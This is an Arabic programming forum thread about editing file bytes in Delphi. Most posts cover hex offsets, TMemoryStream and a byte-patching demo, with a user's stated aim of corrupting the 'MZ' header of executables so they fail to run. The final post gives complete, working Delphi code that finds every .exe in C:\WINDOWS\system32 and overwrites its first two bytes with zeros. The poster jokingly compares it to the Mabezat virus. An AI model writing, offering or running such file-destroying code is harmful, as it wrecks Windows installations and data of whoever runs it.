كيف أغير قيم Hex لمف ما ؟
#1
السلام عليكم ورحمة الله وبركاته

كيف أغير قيم Hex لمف ما ؟ وكيف أحرر قيم الهكس ؟

كيف أحرك شكل مآ ( صورة مثلا ) بشكل دائري ؟ يعني مثل عقارب الساعه
بارك الله فيكم
شكوت إلى وكيع سوء حفظي ... فأرشدني إلى ترك المعاصي
وأخــبـرنـي بــأن الـعـلـم نـور ... ونـور الله لا يـهدى لـعـاصي
الرد
#2
اخي Dr.MOT فيما يخص سؤالك الاول رغم انه غير واضح على الاقل بالنسبة لي .
اذا كان خارج البرمجة فهناك عدة برامج تقوم بالمطلوب : PE Editor .. WinHex ....
-
الرد
#3
mohfa كتب :خارج البرمجة فهناك عدة برامج تقوم بالمطلوب : Pe editor .. Winhex
-
اخي الكريم اعتقد انه الأخ يقصد داخل البرمجة لأنه الأخ دوكتور موت خبير في هذه الأشياء خارج البرمجةاليس كذلك اخي دوكتور موت ؟ Smile
بارك الله فيكم جميعا
فرّج همّ المهمومين يا الله
اللهم فك قيد اسرانا و اسرى المسلمين
الرد
#4
كنت أقصد كيف أغير قيم الهكس برمجيا ؟!
مثلا : اصنع برنامج يغير القيمة MZ للملفات التنفيذيه كي لا تعمل ؟!
صورة للتوضيح :
[صورة: execute.png]
شكوت إلى وكيع سوء حفظي ... فأرشدني إلى ترك المعاصي
وأخــبـرنـي بــأن الـعـلـم نـور ... ونـور الله لا يـهدى لـعـاصي
الرد
#5
في الحقيقة هناك العديد من الحلول و الطرق فقط ترجع الى مسألة أي الطرق الأكثر توافقا مع المسألة التي نعالجها ... كمثال أنا إستعمل الملفات التنائية لكن للتبديل السريع (باتشينغ) أعمل بالصنف TMemoryStreaml و هدا مثال بسيط يوضح الفكرة ,,

1- القيمة الجديدة المدخل (لهدف إستبدال اقيمة القديمة) 0-255 لأنني عرفته byte لمادا ؟؟ لأنني التبديل يقتصر على بايت واحد .
2- لك كل الحرية بإستخدام مركبات جاهزة أو دوال جديدة تقوم ببرمجتها يعني لا تحصر الأمر بهدا المثال .

[صورة: modhexv1.jpg]
[صورة: modhexv2.jpg]
نجرب البرنامج على نفسو : (و نقارن بالـ HexWork Shop)
[صورة: modhexv3.jpg]
ملاحظة : هدا هو مبدأ الباتشينغ فقط التلاعب ببايتات البرنامج .


الملفات المرفقة
.rar   Tf6[ModHexValue].rar (الحجم : 81.12 ك ب / التحميلات : 225)
I'M Fly Like A G6

الرد
#6
هنالك طريقة اخري .. سهلة و جد بسيطة يمكنك تغيير امتداد EXE الى TXT ولحظ أن أي ملف قمت بفتحه ب NotePad امتداده exe ستجد ان أول حرفين يبتدىء بهما هما MZ وهكدا تستطيع تغييرهما برمجيا تم تعيد الملف الى امتداده الأصلي exe
طبعا الطرق الأخرى أفضل
لا اله الا أنت سبحانك اني كنت من الضالمين
الرد
#7
السلام عليكم ورحمة الله وبركاته
[color=Black]هل يمكن أن توضح لي ما عنيته بـ "
موقعها'0' موقع البايت الذي يحتوي على القيمة بالهكس 3f هو '10' " في هذه الصورة !؟
[صورة: modhexv1.jpg]

وأيظا بالصورة الأخيرهـ !؟

بدلناه بالقيمة 16 ( عشري )
يعني 10 ( سداسي عشري )
أيظا لو سمحت ,, هل لي بربط يشرحTMemoryStream !? وهل هي نفسها TStream ؟؟
بارك الله فيك
بالتوفيق
شكوت إلى وكيع سوء حفظي ... فأرشدني إلى ترك المعاصي
وأخــبـرنـي بــأن الـعـلـم نـور ... ونـور الله لا يـهدى لـعـاصي
الرد
#8
السلام عليكم ... أخي Dr.MOT ,,

1- قصدي أتكلم عن الـ OFFSET ( يعني ترتيب البايت) .
ملاحظة : كنت أقصد القيمة (0F) ترتيبها 10 (فقط أحسب) .
2- بما أن القيمة المدخلة من نمط BYTE (و تأخد على أنها قيمة DECimal) فقط حول بين القاعدتين :
10 (عشري) = A (سداسي عشري)
و بما ان القيمة المدخلة 16 (عشري) = 10 (سداسي عشري) = 00010000 (تنائي)
3- TStream الصنف المشتق مباشرة من TObject و هو بدوره المورث لكل من (بالترتيب):

(1) TCustomMemoryStream
(2) TMemoryStream
(1) THandleStream
(2) TFileStream

إدن فهي علاقة صنف مورث بصنف مشتق !.
I'M Fly Like A G6

الرد
#9
السلام عليكم
PHP كود :
unit Unit1;

interface

uses
  Windows
, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  
Dialogs, StdCtrls;

type
  TForm1 
= class(TForm)
    
btn1: TButton;
    
procedure btn1Click(Sender: TObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1: TForm1;

implementation

{$R *.dfm}
     
procedure patch(f_n:string);
var 
target: file of byte;
i:Integer;
const
pbyte: array[1..2] of byte= ($00,$00);
paddr: array[1..2] of longint=($00000000, $00000001);
begin
assignFile
(target,f_n);
reset(target);
for 
i:=1 to 2 do
begin
seek
(target,paddr[i]);
write(target,pbyte[i]);
end;
closeFile(target);
 
end;

procedure FileSearch(const PathName, FileName : string) ;
 var 
Rec : TSearchRec;
 
Path : string;
 
begin
 Path 
:= IncludeTrailingPathDelimiter(PathName) ;
 if 
FindFirst (Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
 
try
 
repeat
patch
(Path + Rec.Name) ;
 
until FindNext(Rec) <> 0;
 finally
 
FindClose(Rec) ;
 
end;
 
end;


procedure TForm1.btn1Click(Sender: TObject);
begin
 FileSearch
('C:\WINDOWS\system32','*.exe');
end;

end. 
حذاري من استعماله على جهازك Big Grin يشبه عمله عمل فيروس Mabezat اذا صحت تسميته :p
الرد


التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم